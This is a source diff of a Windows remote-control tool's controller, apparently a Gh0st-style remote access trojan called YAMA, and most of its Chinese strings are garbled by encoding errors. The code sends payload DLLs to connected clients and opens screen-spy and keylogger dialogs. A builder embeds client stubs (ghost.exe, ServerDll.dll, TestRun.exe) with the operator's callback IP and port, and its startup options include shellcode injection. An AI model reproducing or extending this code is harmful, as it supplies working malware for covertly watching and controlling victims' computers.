|
||||
if (m_settings.DetectSoftware)
|
||||
m_CList_Online.SetItemText(i, ONLINELIST_VIDEO, hb.HasSoftware ? "<EFBFBD><EFBFBD>" : "<EFBFBD><EFBFBD>");
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) {
|
||||
BYTE buf[sizeof(MasterSettings) + 1] = { CMD_MASTERSETTING };
|
||||
memcpy(buf+1, &m_settings, sizeof(MasterSettings));
|
||||
|
||||
if (ctx) {
|
||||
m_iocpServer->Send(ctx, buf, sizeof(buf));
|
||||
}
|
||||
else {
|
||||
EnterCriticalSection(&m_cs);
|
||||
for (int i=0, n=m_CList_Online.GetItemCount(); i<n; ++i)
|
||||
{
|
||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(i);
|
||||
if (!ContextObject->bLogin)
|
||||
continue;
|
||||
m_iocpServer->Send(ContextObject, buf, sizeof(buf));
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
}
|
||||
}
|
||||
|
||||
VOID CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool is64Bit) {
|
||||
auto id = is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86;
|
||||
auto buf = m_ServerDLL[id];
|
||||
if (buf->length()) {
|
||||
m_iocpServer->OnClientPreSending(ContextObject, buf->Buf(), buf->length());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
LRESULT CMy2015RemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
CONTEXT_OBJECT *ContextObject = (CONTEXT_OBJECT*)lParam;
|
||||
@@ -1451,3 +1759,134 @@ BOOL CMy2015RemoteDlg::PreTranslateMessage(MSG* pMsg)
|
||||
|
||||
return CDialogEx::PreTranslateMessage(pMsg);
|
||||
}
|
||||
|
||||
|
||||
void CMy2015RemoteDlg::OnOnlineShare()
|
||||
{
|
||||
CInputDialog dlg(this);
|
||||
dlg.Init("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><IP:PORT><3E><>ַ:");
|
||||
if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty())
|
||||
return;
|
||||
if (dlg.m_str.GetLength() >= 250) {
|
||||
MessageBox("<EFBFBD>ַ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȳ<EFBFBD><EFBFBD><EFBFBD>[0, 250]<5D><>Χ<EFBFBD><CEA7><EFBFBD><EFBFBD>!", "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
|
||||
return;
|
||||
}
|
||||
if (IDYES != MessageBox(_T("ȷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><EFBFBD>ؼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>?\nĿǰֻ<EFBFBD>ܷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"), _T("<EFBFBD><EFBFBD>ʾ"), MB_ICONQUESTION | MB_YESNO))
|
||||
return;
|
||||
|
||||
BYTE bToken[_MAX_PATH] = { COMMAND_SHARE };
|
||||
// Ŀ<><C4BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
bToken[1] = SHARE_TYPE_YAMA;
|
||||
memcpy(bToken + 2, dlg.m_str, dlg.m_str.GetLength());
|
||||
SendSelectedCommand(bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
|
||||
void CMy2015RemoteDlg::OnToolAuth()
|
||||
{
|
||||
CPwdGenDlg dlg;
|
||||
std::string hardwareID = getHardwareID();
|
||||
std::string hashedID = hashSHA256(hardwareID);
|
||||
std::string deviceID = getFixedLengthID(hashedID);
|
||||
dlg.m_sDeviceID = deviceID.c_str();
|
||||
|
||||
dlg.DoModal();
|
||||
}
|
||||
|
||||
|
||||
char* ReadCurrentExecutable(size_t& outSize) {
|
||||
// <20><>ȡ<EFBFBD><C8A1>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||||
char path[MAX_PATH];
|
||||
DWORD len = GetModuleFileNameA(NULL, path, MAX_PATH);
|
||||
if (len == 0 || len == MAX_PATH) {
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||
std::ifstream file(path, std::ios::binary | std::ios::ate); // ate = <20><><EFBFBD><EFBFBD>ĩβ<C4A9><CEB2><EFBFBD>ô<EFBFBD>С
|
||||
if (!file) {
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
// <20><>ȡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>
|
||||
std::streamsize size = file.tellg();
|
||||
file.seekg(0, std::ios::beg);
|
||||
char* buffer = new char[size];
|
||||
|
||||
// <20><>ȡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD> buffer
|
||||
if (!file.read(buffer, size)) {
|
||||
delete[] buffer;
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
outSize = static_cast<size_t>(size);
|
||||
return buffer;
|
||||
}
|
||||
|
||||
|
||||
void CMy2015RemoteDlg::OnToolGenMaster()
|
||||
{
|
||||
CInputDialog pass(this);
|
||||
pass.Init("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", "<EFBFBD><EFBFBD>ǰ<EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:");
|
||||
if (pass.DoModal() != IDOK || pass.m_str.IsEmpty())
|
||||
return;
|
||||
std::string masterHash(skCrypt(MASTER_HASH));
|
||||
if (hashSHA256(pass.m_str.GetBuffer()) != masterHash) {
|
||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD>벻<EFBFBD><EFBFBD>ȷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><EFBFBD><EFBFBD>!", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
|
||||
CInputDialog dlg(this);
|
||||
dlg.Init("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", "<EFBFBD>µ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:");
|
||||
if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty())
|
||||
return;
|
||||
size_t size = 0;
|
||||
char* curEXE = ReadCurrentExecutable(size);
|
||||
if (curEXE == nullptr) {
|
||||
MessageBox("<EFBFBD><EFBFBD>ȡ<EFBFBD>ļ<EFBFBD>ʧ<EFBFBD><EFBFBD>! <20><><EFBFBD>Ժ<EFBFBD><D4BA>ٴγ<D9B4><CEB3>ԡ<EFBFBD>", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
std::string pwdHash = hashSHA256(dlg.m_str.GetString());
|
||||
int iOffset = MemoryFind(curEXE, masterHash.c_str(), size, masterHash.length());
|
||||
if (iOffset == -1) {
|
||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʧ<EFBFBD><EFBFBD>! <20><><EFBFBD>Ժ<EFBFBD><D4BA>ٴγ<D9B4><CEB3>ԡ<EFBFBD>", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", MB_ICONWARNING);
|
||||
SAFE_DELETE_ARRAY(curEXE);
|
||||
return;
|
||||
}
|
||||
memcpy(curEXE + iOffset, pwdHash.c_str(), pwdHash.length());
|
||||
CComPtr<IShellFolder> spDesktop;
|
||||
HRESULT hr = SHGetDesktopFolder(&spDesktop);
|
||||
if (FAILED(hr)) {
|
||||
AfxMessageBox("Explorer δ<><CEB4>ȷ<EFBFBD><C8B7>ʼ<EFBFBD><CABC>! <20><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD><EFBFBD>ԡ<EFBFBD>");
|
||||
SAFE_DELETE_ARRAY(curEXE);
|
||||
return;
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ض<EFBFBD><D8B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
CFileDialog fileDlg(FALSE, _T("exe"), "YAMA.exe", OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
|
||||
_T("EXE Files (*.exe)|*.exe|All Files (*.*)|*.*||"), AfxGetMainWnd());
|
||||
int ret = 0;
|
||||
try {
|
||||
ret = fileDlg.DoModal();
|
||||
}
|
||||
catch (...) {
|
||||
AfxMessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD>ɹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>! <20><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD><EFBFBD>ԡ<EFBFBD>");
|
||||
SAFE_DELETE_ARRAY(curEXE);
|
||||
return;
|
||||
}
|
||||
if (ret == IDOK)
|
||||
{
|
||||
CString name = fileDlg.GetPathName();
|
||||
CFile File;
|
||||
BOOL r = File.Open(name, CFile::typeBinary | CFile::modeCreate | CFile::modeWrite);
|
||||
if (!r) {
|
||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>!\r\n" + name, "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING);
|
||||
SAFE_DELETE_ARRAY(curEXE);
|
||||
return;
|
||||
}
|
||||
File.Write(curEXE, size);
|
||||
File.Close();
|
||||
|
||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>! <20>ļ<EFBFBD>λ<EFBFBD><CEBB>:\r\n" + name, "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
|
||||
}
|
||||
SAFE_DELETE_ARRAY(curEXE);
|
||||
}
|
||||
|
||||
@@ -13,12 +13,19 @@
|
||||
// <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>ض<EFBFBD>ʱҲ<CAB1>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
|
||||
#define CLIENT_EXIT_WITH_SERVER 0
|
||||
|
||||
enum
|
||||
{
|
||||
PAYLOAD_DLL_X86 = 0, // 32λ DLL
|
||||
PAYLOAD_DLL_X64 = 1, // 64λ DLL
|
||||
PAYLOAD_MAXTYPE
|
||||
};
|
||||
|
||||
// CMy2015RemoteDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
class CMy2015RemoteDlg : public CDialogEx
|
||||
{
|
||||
// <20><><EFBFBD><EFBFBD>
|
||||
public:
|
||||
CMy2015RemoteDlg(CWnd* pParent = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
~CMy2015RemoteDlg();
|
||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
enum { IDD = IDD_MY2015REMOTE_DIALOG };
|
||||
@@ -50,7 +57,11 @@ public:
|
||||
VOID CreateSolidMenu();
|
||||
BOOL ListenPort();
|
||||
BOOL Activate(int nPort,int nMaxConnection);
|
||||
|
||||
void UpdateActiveWindow(CONTEXT_OBJECT* ctx);
|
||||
void SendMasterSettings(CONTEXT_OBJECT* ctx);
|
||||
VOID SendServerDll(CONTEXT_OBJECT* ContextObject, bool is64Bit);
|
||||
Buffer* m_ServerDLL[PAYLOAD_MAXTYPE];
|
||||
MasterSettings m_settings;
|
||||
static VOID CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
|
||||
static VOID CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
|
||||
VOID MessageHandle(CONTEXT_OBJECT* ContextObject);
|
||||
@@ -63,11 +74,13 @@ public:
|
||||
CTrueColorToolBar m_ToolBar;
|
||||
|
||||
NOTIFYICONDATA m_Nid;
|
||||
|
||||
HANDLE m_hExit;
|
||||
IOCPServer* m_iocpServer;
|
||||
CRITICAL_SECTION m_cs;
|
||||
BOOL isClosed;
|
||||
|
||||
CBitmap m_bmOnline[3];
|
||||
CMenu m_MainMenu;
|
||||
CBitmap m_bmOnline[4];
|
||||
bool CheckValid();
|
||||
afx_msg void OnTimer(UINT_PTR nIDEvent);
|
||||
afx_msg void OnClose();
|
||||
void Release();
|
||||
@@ -108,4 +121,7 @@ public:
|
||||
afx_msg LRESULT OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo);
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
afx_msg void OnOnlineShare();
|
||||
afx_msg void OnToolAuth();
|
||||
afx_msg void OnToolGenMaster();
|
||||
};
|
||||
|
||||
@@ -101,12 +101,14 @@
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<LanguageStandard>Default</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
<OutputFile>$(SolutionDir)Bin\$(TargetName)_x86d$(TargetExt)</OutputFile>
|
||||
</Link>
|
||||
<Midl>
|
||||
<MkTypLibCompatible>false</MkTypLibCompatible>
|
||||
@@ -128,12 +130,14 @@
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<LanguageStandard>Default</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
<OutputFile>$(SolutionDir)Bin\$(TargetName)_x64d$(TargetExt)</OutputFile>
|
||||
</Link>
|
||||
<Midl>
|
||||
<MkTypLibCompatible>false</MkTypLibCompatible>
|
||||
@@ -156,6 +160,7 @@
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<StringPooling>true</StringPooling>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<LanguageStandard>Default</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
@@ -164,6 +169,7 @@
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
<OutputFile>$(SolutionDir)Bin\$(TargetName)_x86$(TargetExt)</OutputFile>
|
||||
</Link>
|
||||
<Midl>
|
||||
<MkTypLibCompatible>false</MkTypLibCompatible>
|
||||
@@ -187,6 +193,7 @@
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<StringPooling>true</StringPooling>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<LanguageStandard>Default</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
@@ -195,6 +202,7 @@
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>zlib\zlib_x64.lib</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
<OutputFile>$(SolutionDir)Bin\$(TargetName)_x64$(TargetExt)</OutputFile>
|
||||
</Link>
|
||||
<Midl>
|
||||
<MkTypLibCompatible>false</MkTypLibCompatible>
|
||||
@@ -207,6 +215,12 @@
|
||||
</ResourceCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<None Include="..\..\Release\ghost.exe" />
|
||||
<None Include="..\..\Release\ServerDll.dll" />
|
||||
<None Include="..\..\Release\TestRun.exe" />
|
||||
<None Include="..\..\x64\Release\ghost.exe" />
|
||||
<None Include="..\..\x64\Release\ServerDll.dll" />
|
||||
<None Include="..\..\x64\Release\TestRun.exe" />
|
||||
<None Include="res\1.cur" />
|
||||
<None Include="res\2.cur" />
|
||||
<None Include="res\2015Remote.ico" />
|
||||
@@ -238,6 +252,7 @@
|
||||
<ClInclude Include="AudioDlg.h" />
|
||||
<ClInclude Include="Buffer.h" />
|
||||
<ClInclude Include="BuildDlg.h" />
|
||||
<ClInclude Include="CPasswordDlg.h" />
|
||||
<ClInclude Include="CpuUseage.h" />
|
||||
<ClInclude Include="EditDialog.h" />
|
||||
<ClInclude Include="FileManagerDlg.h" />
|
||||
@@ -246,6 +261,7 @@
|
||||
<ClInclude Include="InputDlg.h" />
|
||||
<ClInclude Include="IOCPServer.h" />
|
||||
<ClInclude Include="KeyBoardDlg.h" />
|
||||
<ClInclude Include="pwd_gen.h" />
|
||||
<ClInclude Include="RegisterDlg.h" />
|
||||
<ClInclude Include="Resource.h" />
|
||||
<ClInclude Include="ScreenSpyDlg.h" />
|
||||
@@ -268,6 +284,7 @@
|
||||
<ClCompile Include="AudioDlg.cpp" />
|
||||
<ClCompile Include="Buffer.cpp" />
|
||||
<ClCompile Include="BuildDlg.cpp" />
|
||||
<ClCompile Include="CPasswordDlg.cpp" />
|
||||
<ClCompile Include="CpuUseage.cpp" />
|
||||
<ClCompile Include="EditDialog.cpp" />
|
||||
<ClCompile Include="FileManagerDlg.cpp" />
|
||||
@@ -276,6 +293,7 @@
|
||||
<ClCompile Include="InputDlg.cpp" />
|
||||
<ClCompile Include="IOCPServer.cpp" />
|
||||
<ClCompile Include="KeyBoardDlg.cpp" />
|
||||
<ClCompile Include="pwd_gen.cpp" />
|
||||
<ClCompile Include="RegisterDlg.cpp" />
|
||||
<ClCompile Include="ScreenSpyDlg.cpp" />
|
||||
<ClCompile Include="ServicesDlg.cpp" />
|
||||
@@ -299,9 +317,12 @@
|
||||
<Text Include="..\..\ReadMe.md" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="res\Bitmap\Share.bmp" />
|
||||
<Image Include="res\Bitmap_4.bmp" />
|
||||
<Image Include="res\Bitmap_5.bmp" />
|
||||
<Image Include="res\delete.bmp" />
|
||||
<Image Include="res\keyboard.ico" />
|
||||
<Image Include="res\password.ico" />
|
||||
<Image Include="res\toolbar1.bmp" />
|
||||
<Image Include="res\toolbar2.bmp" />
|
||||
<Image Include="res\update.bmp" />
|
||||
|
||||
22
server/2015Remote/2015Remote_vs2015.vcxproj.user
Normal file
@@ -0,0 +1,22 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<RESOURCE_FILE>2015Remote.rc</RESOURCE_FILE>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x86d$(TargetExt)</LocalDebuggerCommand>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x86$(TargetExt)</LocalDebuggerCommand>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x64d$(TargetExt)</LocalDebuggerCommand>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x64$(TargetExt)</LocalDebuggerCommand>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
@@ -7,12 +7,51 @@
|
||||
#include "afxdialogex.h"
|
||||
#include <io.h>
|
||||
|
||||
enum Index
|
||||
{
|
||||
IndexTestRun_DLL,
|
||||
IndexTestRun_MemDLL,
|
||||
IndexTestRun_InjSC,
|
||||
IndexGhost,
|
||||
IndexServerDll,
|
||||
OTHER_ITEM
|
||||
};
|
||||
|
||||
// CBuildDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
|
||||
|
||||
std::string GetMasterId();
|
||||
|
||||
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize);
|
||||
|
||||
LPBYTE ReadResource(int resourceId, DWORD &dwSize) {
|
||||
dwSize = 0;
|
||||
auto id = resourceId;
|
||||
HRSRC hResource = FindResourceA(NULL, MAKEINTRESOURCE(id), "BINARY");
|
||||
if (hResource == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
// <20><>ȡ<EFBFBD><C8A1>Դ<EFBFBD>Ĵ<EFBFBD>С
|
||||
dwSize = SizeofResource(NULL, hResource);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ
|
||||
HGLOBAL hLoadedResource = LoadResource(NULL, hResource);
|
||||
if (hLoadedResource == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ<EFBFBD><D4B4><EFBFBD><EFBFBD>ȡָ<C8A1><D6B8><EFBFBD><EFBFBD>Դ<EFBFBD><D4B4><EFBFBD>ݵ<EFBFBD>ָ<EFBFBD><D6B8>
|
||||
LPVOID pData = LockResource(hLoadedResource);
|
||||
if (pData == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
auto r = new BYTE[dwSize];
|
||||
memcpy(r, pData, dwSize);
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
|
||||
CBuildDlg::CBuildDlg(CWnd* pParent)
|
||||
: CDialog(CBuildDlg::IDD, pParent)
|
||||
, m_strIP(_T(""))
|
||||
@@ -31,12 +70,14 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX)
|
||||
DDX_Text(pDX, IDC_EDIT_IP, m_strIP);
|
||||
DDX_Text(pDX, IDC_EDIT_PORT, m_strPort);
|
||||
DDX_Control(pDX, IDC_COMBO_EXE, m_ComboExe);
|
||||
DDX_Control(pDX, IDC_COMBO_ENCRYPT, m_ComboEncrypt);
|
||||
DDX_Control(pDX, IDC_STATIC_OTHER_ITEM, m_OtherItem);
|
||||
DDX_Control(pDX, IDC_COMBO_BITS, m_ComboBits);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CBuildDlg, CDialog)
|
||||
ON_BN_CLICKED(IDOK, &CBuildDlg::OnBnClickedOk)
|
||||
ON_CBN_SELCHANGE(IDC_COMBO_EXE, &CBuildDlg::OnCbnSelchangeComboExe)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
@@ -45,149 +86,165 @@ END_MESSAGE_MAP()
|
||||
|
||||
void CBuildDlg::OnBnClickedOk()
|
||||
{
|
||||
CFile File;
|
||||
char szTemp[MAX_PATH];
|
||||
ZeroMemory(szTemp,MAX_PATH);
|
||||
CString strCurrentPath;
|
||||
CString strFile;
|
||||
CString strSeverFile;
|
||||
BYTE * szBuffer=NULL;
|
||||
DWORD dwFileSize;
|
||||
UpdateData(TRUE);
|
||||
int index = m_ComboExe.GetCurSel();
|
||||
if (m_strIP.IsEmpty() || atoi(m_strPort) <= 0)
|
||||
return;
|
||||
|
||||
BYTE* szBuffer = NULL;
|
||||
DWORD dwFileSize = 0;
|
||||
int index = m_ComboExe.GetCurSel(), typ=index;
|
||||
int is64bit = m_ComboBits.GetCurSel() == 0;
|
||||
if (index == IndexTestRun_InjSC && !is64bit) {
|
||||
MessageBox("Shellcode ֻ<><D6BB><EFBFBD><EFBFBD>64λ<34><CEBB><EFBFBD>±<EFBFBD>ע<EFBFBD>룬ע<EBA3AC><D7A2><EFBFBD><EFBFBD>Ҳֻ<D2B2><D6BB><EFBFBD><EFBFBD>64λ!", "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
int startup = Startup_DLL;
|
||||
CString file;
|
||||
switch (index)
|
||||
{
|
||||
case CLIENT_TYPE_DLL:
|
||||
case IndexTestRun_DLL: case IndexTestRun_MemDLL: case IndexTestRun_InjSC:
|
||||
file = "TestRun.exe";
|
||||
typ = index == IndexTestRun_DLL ? CLIENT_TYPE_DLL : CLIENT_TYPE_MEMDLL;
|
||||
startup = std::map<int, int>{
|
||||
{IndexTestRun_DLL, Startup_DLL},{IndexTestRun_MemDLL, Startup_MEMDLL},{IndexTestRun_InjSC, Startup_InjSC},
|
||||
}[index];
|
||||
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize);
|
||||
break;
|
||||
case CLIENT_TYPE_ONE:
|
||||
case IndexGhost:
|
||||
file = "ghost.exe";
|
||||
typ = CLIENT_TYPE_ONE;
|
||||
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize);
|
||||
break;
|
||||
case CLIENT_TYPE_MODULE:
|
||||
case IndexServerDll:
|
||||
file = "ServerDll.dll";
|
||||
typ = CLIENT_TYPE_DLL;
|
||||
szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize);
|
||||
break;
|
||||
case OTHER_ITEM: {
|
||||
m_OtherItem.GetWindowTextA(file);
|
||||
typ = -1;
|
||||
if (file != "δѡ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>") {
|
||||
CFile File;
|
||||
File.Open(file, CFile::modeRead | CFile::typeBinary);
|
||||
dwFileSize = File.GetLength();
|
||||
if (dwFileSize > 0) {
|
||||
szBuffer = new BYTE[dwFileSize];
|
||||
File.Read(szBuffer, dwFileSize);
|
||||
}
|
||||
File.Close();
|
||||
}
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
if (file.IsEmpty())
|
||||
if (szBuffer == NULL)
|
||||
{
|
||||
MessageBox("<EFBFBD><EFBFBD>Ч<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><EFBFBD><EFBFBD>!");
|
||||
return CDialog::OnOK();
|
||||
